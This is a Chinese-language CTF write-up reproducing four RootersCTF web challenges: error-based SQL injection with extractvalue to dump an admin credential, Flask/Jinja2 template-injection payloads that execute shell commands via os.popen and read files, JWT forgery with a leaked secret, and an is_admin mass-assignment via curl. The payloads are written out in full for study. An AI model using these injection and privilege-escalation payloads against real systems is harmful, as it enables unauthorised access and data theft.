RootersCTF复现

RootersCTF复现

CTFtime上国外的比赛还是比较多的,而且大多也都比较有意思,开拓视野。

RootersCTF-Babyweb

My junior dev just set up a password protected webpage. Can you get in?

分析过程

打开链接提示管理员的密码是18位,并且过滤掉了UNION SLEEP ‘ “ OR - BENCHMARK。因此利用爆破出密码是比较不现实的,结合题目提示是使用注入方法。看到单引号和双引号被过滤,猜测是被反斜杠转义掉,便尝试宽字节注入,使用%df%27进行测试,结果注入失败。

并且提示UNION、OR也都被过滤,原本想着利用大小写或者编码绕过,但是引号既然不能成功绕过,说明不能用闭合引号进行注入。经过多次尝试发现利用extractvalue()函数进行报错注入可以成功实现注入,因此可以结合concat函数实现注入。

extractvalue():函数功能是从目标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

extractvalue注入的原理:如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。

注入过程

1、爆库名

https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select%0adatabase()),0x7e))

回显XPATH syntax error:~SQLinjection~,爆出了库名SQLinjection
2、爆表名

https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

回显XPATH syntax error:~users~,爆出了表名users
这里需要说名一下,由于单双引号被过滤,故注入语句中如果有字符串需要单双引号,应当尽量避免,这里可以使用查询语句的多重利用避免,当然直接填库名也是不需要单双引号的(下面表名同理)。
3、爆列名

https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e))

回显XPATH syntax error:~user、uniqueid~,爆出列名user、uniqueid,这两个列里肯定有我们需要的重要内容。
4、爆字段

https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select uniqueid/user from users limit 1),0x7e))

这里分两步分别爆出admin和其对应的18位的uniqueid,拿去尝试登录,成功登路并拿到flag。
由于环境不能复现,做题的时候也没有截图,这里不再贴出图片。

报错注入参考链接:https://www.jianshu.com/p/bf5edd484957

I_<3_Flask

典型的SSTI,参考国外师傅的WP学到了一些新姿势

题目分析

进入题目:

断定是python flask的SSTI了,但是不知道参数是啥,在复现的时候发现国外师傅提到一个参数扫描的工具arjun,直接扫参数:

name参数测试一下:

可以看到成功注入,那下面就是利用注入姿势来爆flag了。

解题

一种解题的payload是:

name={{''.__class__.__mro__[1].__subclasses__()[184].__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}
name={{''.__class__.__mro__[1].__subclasses__()[184].__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat flag.txt").read()')}}

但是这种方法在复现的时候没有成功,学到另外一种姿势:

name={{url_for.__globals__['__builtins__'].open('flag.txt').read()}}

参考:
https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8
https://graneed.hatenablog.com/entry/2019/10/13/010814#Solution-2

ImgXweb

考察JWT伪造攻击。

题目分析

进入题目发现存在注册、登录按钮,先注册一个登录看看,发现可以进行文件上传,但是奈何本题不是考文件上传拿shell的…

通过扫后台发现robots.txt的存在(可见扫后台的重要性啊):

robots.txt中提示了一个secretkey秘钥文件的存在,内容如下:

给这个干嘛?结果抓包发现了另一番天地:

可以看到cookie采用了JWT,拿去base64解密一下(还有几篇讲到JWT伪造攻击的博客,有需要的可以看看):

{"typ":"JWT","alg":"HS256"}{"user":"ggb0n"}׿Šð¬Á#Ȕ¬­ “í_mnגZü–‰t

这肯定是考JWT伪造的了,秘钥都给了,多简单,拿去网站伪造一下:

然后抓包改包,发现成功伪造了admin身份,从回显页面中可以看到flag.png的存在,这里赵师傅没有放原图,应该是为了方便BOT生成和识别固定格式的flag吧:

其实,flag已经很近了,查看源码可以看到flag.png的存储路径,直接访问即可拿到flag:

原来png不是png,而是txt啊…赵师傅badbad。。。

notifyxapi

还是考察JWT伪造攻击。

题目分析

进入题目,看到给出了几个利用curl进行注册、登录、查看通知的几个操作:

有点像教怎么用curl的[手动滑稽],我们根据提供的语句去试试效果:

先注册个账户:

curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/register/" -H "Content-Type: application/json" -d '{"email": "ggb0n@test.com", "password": "password"}'
{"created_user":{"id":3,"user":{"email":"ggb0n@test.com","id":3,"is_admin":false},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTI2NTEsIm5iZiI6MTU4NDA5MjY1MSwianRpIjoiMTIyZDQ2MTQtNzZhYS00YjJhLTlmZWEtYmY1OTE0ZTQ5OTk0IiwiZXhwIjoxNjE1NjI4NjUxLCJpZGVudGl0eSI6MywiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.r8-IqT1VUwqJuYpHgKI6uqQZn6nR07RoDnDWWGgyeVc"}}

关注的点来了:is_admin属性为false,多半知道这题是干嘛的了。先不管,先登录看看:

curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/login/" -H "Content-Type: application/json" -d '{"email": "ggb0n@test.com", "password": "password"}'
{"id":{"email":"ggb0n@test.com","id":3,"is_admin":false},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTMwNDcsIm5iZiI6MTU4NDA5MzA0NywianRpIjoiZjFlYmViYjItMmFmMi00OWFjLTljN2UtNjFlODM3MTVkN2I2IiwiZXhwIjoxNjE1NjI5MDQ3LCJpZGVudGl0eSI6MywiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.Nj2knq7DFsNRoZhNfyAvbMp6wMPV6lWAcXM1p6xIqRo"}

可以看到登录和注册的时候JWT的第三部分是不同的,也就是表示登录的状态,看通知的话,当然要先登录嘛。

拿登录上的JWT去看看notification什么情况:

curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/notifications/"
[{"issuer":{"email":"test@test.com","id":2},"body":"hey, rosssssss","id":2,"title":"The IT Crowd"},{"issuer":{"email":"test@test.com","id":2},"body":"Jen Barber? Is that the internet?","id":3,"title":"The IT Crowd"}]

通过这个请求,我们可以看到别的用户发的通知,想必管理员能看到不一样的结果吧,结合前面存在的is_admin属性并且为false,思路肯定是要去想办法让is_admintrue了。

解题

由于回显的都是注册时候的键值对,我们直接在注册的时候多加一个"id_admin":true的属性键值对创建个账户试试:

curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/register/" -H "Content-Type: application/json" -d '{"email": "gg.b0n@test.com", "password": 1"password","is_admin":true}'
{"created_user":{"id":4,"user":{"email":"gg.b0n@test.com","id":4,"is_admin":true},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTM3MzQsIm5iZiI6MTU4NDA5MzczNCwianRpIjoiZjcyMTYzNWEtZTQ1Ny00NTA0LWI0MDEtNjlmMGM1NzM2OGI1IiwiZXhwIjoxNjE1NjI5NzM0LCJpZGVudGl0eSI6NCwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.NC-cqxfT8wWgsyDzXMo04NLfAK9k7uim8M127DixOAw"}}

可见账户成功创建了,并且此时is_admin属性已经为true了,快登陆去看看通知:

curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/login/" -H "Content-Type: application/json" -d '{"email": "gg.b0n@test.com", "password": "password"}'
{"id":{"email":"gg.b0n@test.com","id":4,"is_admin":true},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTM4ODcsIm5iZiI6MTU4NDA5Mzg4NywianRpIjoiNjUzN2ZlYzMtNzYyOC00ZGZlLTk1MmQtYzE1YmQ5ODhiNjQ0IiwiZXhwIjoxNjE1NjI5ODg3LCJpZGVudGl0eSI6NCwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.FiyXpksBx-zkMQDEkfW61bs2FtqttNz5Qv1yHStqWrM"}

用登录上的JWT去看通知:

export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTM4ODcsIm5iZiI6MTU4NDA5Mzg4NywianRpIjoiNjUzN2ZlYzMtNzYyOC00ZGZlLTk1MmQtYzE1YmQ5ODhiNjQ0IiwiZXhwIjoxNjE1NjI5ODg3LCJpZGVudGl0eSI6NCwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.FiyXpksBx-zkMQDEkfW61bs2FtqttNz5Qv1yHStqWrM"

curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/notifications/"

回显如下:

[{"issuer":{"email":"admin@test.com","id":1},"body":"rooters{a_big_hard_business_in_a_big_hard_building}ctf","id":1,"title":"flag"},{"issuer":{"email":"test@test.com","id":2},"body":"hey, rosssssss","id":2,"title":"The IT Crowd"},{"issuer":{"email":"test@test.com","id":2},"body":"Jen Barber? Is that the internet?","id":3,"title":"The IT Crowd"},{"issuer":{"email":"admin@test.com","id":1},"body":"flag{1b411b83-d725-4e8f-a50a-3bd14a35de6a}","id":1,"title":"flag"}]

成功拿到flag。
这题算是考察JWT伪造比较简单的了吧。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!